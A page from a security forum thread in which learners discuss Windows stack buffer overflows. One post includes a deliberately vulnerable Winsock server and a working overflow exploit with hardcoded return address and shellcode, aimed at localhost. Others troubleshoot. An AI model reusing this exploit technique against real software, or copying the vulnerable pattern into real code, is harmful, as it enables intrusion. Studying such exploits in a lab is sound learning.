Page 2 of 2 FirstFirst 12
Results 11 to 16 of 16

Thread: Windows Stack Based Overflow, Confusing

  1. #11
    Triple post.

    >> Anyhow...Attacks using techniques like your talking about, work on the principle that it is possible under the right circumstances to alter the return address of a function to allow execution of an attackers code. When the code must branch and follow another execution path, it must have a way to remember where the split occured, so that it can continue execution there when it's done. Basically the value of EIP is pushed unto the stack; a branch of code is ran; and then EIP is pop'ed back of the stack and execution continue's there. So now you should be getting a clearer picture of how it's possible to alter the return address of a function, by writing data to the stack.

    Yep, at any function call, when it is call'ed with the CALL instruction, it pushes the address of the next instruction to be executed in the function it's called from onto the stack, then branches flow to the other function, and then when it returns from that function, it pop's the next address off the stack and continues execution in the function that called it. When something like

    00401049 CALL vuln.strcpy ; Calls strcpy

    Happens, this is push'ed onto the stack

    0012FCA0 0040104E ; Data at top of the stack is the next instruction after the call to strcpy

    And if I overwrite that return address on the stack, I can go wherever I want. And that's a buffer overflow. I can't see the use of the NOP sled in the case of a JMP ESP thing, because I would have to know exactly where the RET address was, and then just put my shellcode right next to it, but I can see if it was a different register besides ESP for whatever reason, that I could only guarantee within a certain distance, then it could be good.

  2. #12
    Okay. Here's the real question. Is Winsock smarter than me? Lots of evidence points to: yes. For example, here is my program being stupid.

    Code:
    #include <winsock2.h>
    #include <stdio.h>
    
    int main(int argc, char ** argv)
    {
    	char         buf[256];
    	WSADATA      wsaData;
    	SOCKET       hSock;
    	SOCKET       hClient;
    	SOCKADDR_IN  sIn;
    	
    
    	WSAStartup(MAKEWORD(2, 2), &wsaData);
    
    	hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
    	sIn.sin_family = AF_INET;
    	sIn.sin_addr.s_addr = INADDR_ANY;
    	sIn.sin_port = htons(1337);
    
    	bind(hSock, (sockaddr *) &sIn, sizeof(SOCKADDR_IN));
    	listen(hSock, 1);
    
    	hClient = accept(hSock, NULL, NULL);
    	if(hClient != INVALID_SOCKET)
    	{
    		printf("client accepted\n");
    		int  ret;
    		while(ret = recv(hClient, buf, 512, 0))
    		{
    			printf("recv'd content: %d\n", ret);
    			if(ret == 0)
    				break;
    			else if(ret == SOCKET_ERROR)
    			{
    				printf("%d\n", WSAGetLastError());
    				break;
    			}
    			else
    				buf[ret] = 0;
    
    		}
    	}
    	WSACleanup();
    	return 0;
    }
    And when I try to overflow it with an exploit program, I get some funny behavior. I am normally able to get it to work like, once, and then recv consistently returns 10014 after that. Which is;

    WSAEFAULT: 10014 - Bad address. The system detected an invalid pointer address in attempting to use a pointer argument of a call. This error occurs if an application passes an invalid pointer value, or if the length of the buffer is too small. For instance, if the length of an argument, which is a sockaddr structure, is smaller than the sizeof(sockaddr).

    Here is the exact exploit program I used

    Code:
    #include <windows.h>
    #include <stdio.h>
    
    char shellcode[] = 
    	"\x31\xD2\x52\x52\x52\x52\xB8\xEA\x04\xD8\x77\xFF"
    	"\xD0\x31\xC0\x50\xB8\xA2\xCA\x81\x7C\xFF\xD0";
    
    
    int main()
    {
    	char buffer[300];
    	for(int i = 0; i < sizeof(buffer); i++)
    		buffer[i] = 'X';
    
    	*(int *) (buffer + 260) = 0x7C82385D;
    	memcpy(buffer + 264, shellcode, strlen(shellcode));
    
    	WSADATA wsaData;
    	WSAStartup(MAKEWORD(2, 2), &wsaData);
    	SOCKET hSock;
    
    
    	hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    	if(hSock == INVALID_SOCKET)
    		return 0;
    
    	sockaddr_in clientService;
    
    	clientService.sin_family = AF_INET;
    	clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
    	clientService.sin_port = htons(1337);
    
    	if(connect(hSock, (sockaddr *) &clientService, sizeof(clientService)) == SOCKET_ERROR) 
    	{
    		printf("Failed\n");
    		WSACleanup();
    		return 0;
    	}
    
    	printf("%d\n", send(hSock, buffer, sizeof(buffer), 0));
    	closesocket(hSock);
    	WSACleanup();
    	return 0;
    }
    How? When? Where? Who? Why?

  3. #13
    What the ?

    Sorry about that triple post.Im not sure what happened, my browser acted like it was timing-out. Guess I should have checked it before resending.On an unrelated note: I was using iexplorer on my XP box for that post.

    Happy days...Win32 shellcode...

    "And when I try to overflow it with an exploit program, I get some funny behavior. I am normally able to get it to work like, once, and then recv consistently returns 10014 after that." -tonto

    Why would you want to run the exploit more then once anyway? It might have to do with the fact that differerent instances of the same program running at the same time can often generate subtle bugs because they are using the same resources.
    We are a generation without a middle. We have no great war or depression. Our war is a spiritual one, our depression is our lives. We were all raised to believe that we\'ll all be millionaires and rockstars - But we won\'t.
    And we are slowly learning this fact...And we are VERY pissed off about it!

  4. #14
    I don't know, I set up that program with a really obvious bug to read 512 bytes into a 256 byte buffer, but I can't see how Windows would detect that at runtime, except if there were like internal thigns called inside recv and then like an cmp ESP, EBP check failed. That kinds of explains it for myself, but like, it's really confusing, because it worked sometimes.

    The shellcode definitely was run like 4 or 5 times, all of them right after a new compilation of the vulnerable program, and then I would try again to see if I could get it to repeat that behavior, and it would fail. I might want to run the exploit more than once if I was trying to hammer out the length of my exploit buffer and placement of the RET or something.

  5. #15
    Senior Member
    Join Date
    Mar 2004
    Posts
    557
    Hi

    Just two quick comments here:

    1. What is the behaviour if you set the backlog to 5? (the second parameter of listen)

    2. Try to receive the traffic using
    Code:
    char buf2[512];
    ret = recv(hClient, buf2, 512, 0);
    and "exploit" the vulnerability using
    Code:
    strcpy(buf,buf2)
    Cheers
    If the only tool you have is a hammer, you tend to see every problem as a nail.
    (Abraham Maslow, Psychologist, 1908-70)

  6. #16
    I'm getting WSAECONNRESET - 10054 - Connection reset by peer errors from the same code.

    I might have time to look at this later today but it's not working now.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •